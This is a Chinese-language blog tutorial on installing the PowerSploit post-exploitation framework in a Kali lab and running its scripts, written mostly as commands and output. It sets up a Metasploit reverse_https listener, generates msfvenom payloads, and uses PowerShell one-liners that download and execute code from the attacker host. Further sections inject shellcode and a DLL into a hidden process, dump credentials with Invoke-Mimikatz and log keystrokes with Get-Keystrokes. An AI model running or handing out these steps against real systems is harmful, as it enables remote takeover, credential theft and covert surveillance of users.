Powersploit的安装及脚本攻击实战

PowerSploit是一款基于PowerShell的后渗透(Post-Exploition)框架软件,包含很多PowerShell攻击脚本,它们主要用于渗透中的信息侦查、权限提升、权限维持。其GitHub地址为:https://github.com/PowerShellMafia/PowerSploit

1、PowerSploit的安装

这里通过kali下载PowerSploit,首先输入git命令下载程序目录

git clone https://github.com/PowerShellMafia/PowerSploit

接着输入以下命令开启Apache服务

service apache2 start

把下载好的文件夹移动到var/www/html目录,搭建一个简易的服务器,在网页中打开http://192.168.59.128/PowerSploit/,如下图所示。

下面根据上图介绍PowerSploit各模块的功能。

  • AntivirusBypass:发现杀毒软件的查杀特征
  • CodeExecution:在目标主机上执行代码
  • Exfiltration:目标主机上的信息搜集工具
  • Mayhem:蓝屏等破坏性脚本
  • Persistence:后门脚本(持久性控制)
  • Recon:以目标主机为跳板进行内网信息侦查
  • ScriptModification:在目标主机上创建或修改脚本

2、PowerSploit脚本攻击实战

(1)Invoke-Shellcode

CodeExecution模块下的Invoke-Shellcode脚本常用于将Shellcode插入指定的进程ID或本地PowerShell中,下面介绍两种常用的反弹Meterpreter Shell方法。

a.直接执行shellcode反弹Meterpreter Shell

首先在MSF里使用reverse_https模块进行反弹,设置的内容如下。

root@kali:~# service apache2 start

root@kali:~# msfconsole

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https

msf5 exploit(multi/handler) > set LHOST 192.168.59.128 #本地IP,可用ip addr命令查看
LHOST => 192.168.59.128

msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444

msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_https):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.59.128   yes       The local listener hostname
   LPORT     4444             yes       The local listener port
   LURI                       no        The HTTP Path


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf5 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://192.168.59.128:4444

使用msfvenom命令生成一个powershell脚本木马

root@kali:~# msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.59.128 LPORT=4444 -f powershell -o /var/www/html/test
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 671 bytes
Final size of powershell file: 3316 bytes
Saved as: /var/www/html/test
root@kali:~# 

接着在目标机Powershell下输入以下命令下载该脚本

PS C:\Users\zn> IEX (New-Object Net.WebClient).DownloadString("http://192.168.59.128/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")
PS C:\Users\zn>

接着输入以下命令下载木马

PS C:\Users\zn> IEX (New-Object Net.WebClient).DownloadString("http://192.168.59.128/test")
PS C:\Users\zn> 

接着在powershell下运行如下命令

PS C:\Users\zn> Invoke-Shellcode -Shellcode ($buf) -Force
Windows PowerShell已停止工作

其中的-Force意思是不用提示,直接执行。

按理说,此步骤执行完成后,返回MSF的监听界面下,会发现已经反弹成功了,可是我的Powershell在运行完Invoke-Shellcode -Shellcode ($buf) -Force命令后直接提示“Windows PowerShell已停止工作”,然后就崩溃了,导致不能反弹成功,不知道为啥。

b.指定进程注入shellcode反弹Meterpreter Shell

同样先在目标机Powershell下输入命令下载脚本和木马

PS C:\Users\zn> IEX (New-Object Net.WebClient).DownloadString("http://192.168.59.128/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")
PS C:\Users\zn> IEX (New-Object Net.WebClient).DownloadString("http://192.168.59.128/test")

接着输入Get-Process命令或者ps命令查看当前进程

然后输入以下命令创建一个新的进程,并把它设置为隐藏的,再输入Get-Process命令查看进程,可以看到多了一个id为2668,名为notepad的进程

PS C:\Users\zn> start-process C:\Windows\System32\notepad.exe -WindowStyle Hidden
PS C:\Users\zn> get-process notepad

Handles  NPM(K)    PM(K)      WS(K) VM(M)   CPU(s)     Id ProcessName
-------  ------    -----      ----- -----   ------     -- -----------
     56       7     1424       5384    75     0.02   2668 notepad

接着输入以下命令,使用Invoke-Shellcode脚本进行进程注入

PS C:\Users\zn> Invoke-Shellcode -ProcessID 2668 -Shellcode ($buf) -Force
记事本已停止工作

同样的,按理说,此步骤执行完成后,返回MSF的监听界面下,会发现已经反弹成功了,可是我的Powershell在运行完Invoke-Shellcode -Shellcode ($buf) -Force命令后直接提示“Windows PowerShell已停止工作”,然后就崩溃了,导致不能反弹成功。

(2)Invoke-DllInjection

下面使用CodeExecution模块下的另一个脚本Invoke-DllInjection,它是一个DLL注入的脚本。

同理还是首先在MSF里配置好监听,与上面的相同。

然后使用以下命令在kali中生成一个dll的反弹木马

root@kali:~# msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.59.128 LPORT=4444 -f dll -o /var/www/html/test.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 498 bytes
Final size of dll file: 5120 bytes
Saved as: /var/www/html/test.dll

将test.dll下载到目标机

然后在目标机上下载脚本,输入以下命令

PS C:\Users\zn> IEX (New-Object Net.WebClient).DownloadString("http://192.168.59.128/PowerSploit/CodeExecution/Invoke-DllInjection.ps1")

接着启动一个新进程,使用Invoke-Shellcode脚本进行进程注入

PS C:\Users\zn> start-process C:\Windows\System32\notepad.exe -WindowStyle Hidden
PS C:\Users\zn> get-process notepad

Handles  NPM(K)    PM(K)      WS(K) VM(M)   CPU(s)     Id ProcessName
-------  ------    -----      ----- -----   ------     -- -----------
     56       7     1424       5300    75     0.00   2008 notepad


PS C:\Users\zn> Invoke-DllInjection -ProcessID 2008 -Dll C:\Users\zn\test.dll #先将文件下载到此处
You cannot inject a 32-bit DLL into a 64-bit process.

按理说,此时返回MSF的监听界面下,会发现已经反弹成功了,可是我进行进程注入时报错了“You cannot inject a 32-bit DLL into a 64-bit process.”。哎。。。

(3)Invoke-Portscan

nvoke-Portscan是Recon模块下的一个脚本,主要用于端口扫描,使用起来也比较简单。使用方法如下

先下载脚本,然后进行扫描

PS C:\> IEX (New-Object Net.WebClient).DownloadString("http://192.168.59.128/PowerSploit/Recon/Invoke-Portscan.ps1")

PS C:\> Invoke-Portscan -Hosts 192.168.59.1,192.168.59.128 -Ports "80,22,3389"


Hostname      : 192.168.59.1
alive         : True
openPorts     : {}
closedPorts   : {22, 3389}
filteredPorts : {80}
finishTime    : 2020/1/16 18:45:13

Hostname      : 192.168.59.128
alive         : True
openPorts     : {80}
closedPorts   : {22, 3389}
filteredPorts : {}
finishTime    : 2020/1/16 18:45:13

成功!!!

(4)Invoke-Mimikatz

Invoke-Mimikatz是Exfiltration模块下的一个脚本。使用方法如下

先下载脚本,然后执行命令即可

PS C:\> IEX (New-Object Net.WebClient).DownloadString("http://192.168.59.128/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1")
PS C:\> Invoke-Mimikatz -DumpCreds

  .#####.   mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
 .## ^ ##.  "A La Vie, A L'Amour"
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 20 modules * * */

mimikatz(powershell) # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)  #报错啦

mimikatz(powershell) # exit
Bye!

PS C:\>

这里需要注意一点,和使用Mimikatz工具一样,内置的Mimikatz在使用时同样需要管理员权限。

(5)Get-Keystrokes

Get-Keystrokes是Exfiltration模块下的一个脚本,用于键盘记录,功能相当强大,不仅有键盘输入记录,甚至能记录鼠标的点击情况,还能记录详细的时间,实战时可以直接放入后台运行。使用方法如下。

先下载脚本,然后使用命令开启键盘记录,这里输入几个字母测试一下。

PS C:\> IEX (New-Object Net.WebClient).DownloadString("http://192.168.59.128/PowerSploit/Exfiltration/Get-Keystrokes.ps1
")

PS C:\> Get-Keystrokes -LogPath C:\Users\zn\test1.txt
PS C:\> sdfsadadads
 
打开test1.txt查看:
"TypedKey","WindowTitle","Time"
"s","Windows PowerShell","2020/1/16 18:57:13"
"d","Windows PowerShell","2020/1/16 18:57:13"
"f","Windows PowerShell","2020/1/16 18:57:13"
"s","Windows PowerShell","2020/1/16 18:57:13"
"a","Windows PowerShell","2020/1/16 18:57:13"
"d","Windows PowerShell","2020/1/16 18:57:13"
"a","Windows PowerShell","2020/1/16 18:57:14"
"d","Windows PowerShell","2020/1/16 18:57:14"
"a","Windows PowerShell","2020/1/16 18:57:14"
"d","Windows PowerShell","2020/1/16 18:57:14"
"s","Windows PowerShell","2020/1/16 18:57:14"
"d","C:\Users\zn\test1.txt - Notepad++","2020/1/16 18:57:45"
"a","*C:\Users\zn\test1.txt - Notepad++","2020/1/16 18:57:45"
"s","*C:\Users\zn\test1.txt - Notepad++","2020/1/16 18:57:45"

 

posted @ 2020-05-12 11:42  zhengna  阅读(2402)  评论(0编辑  收藏  举报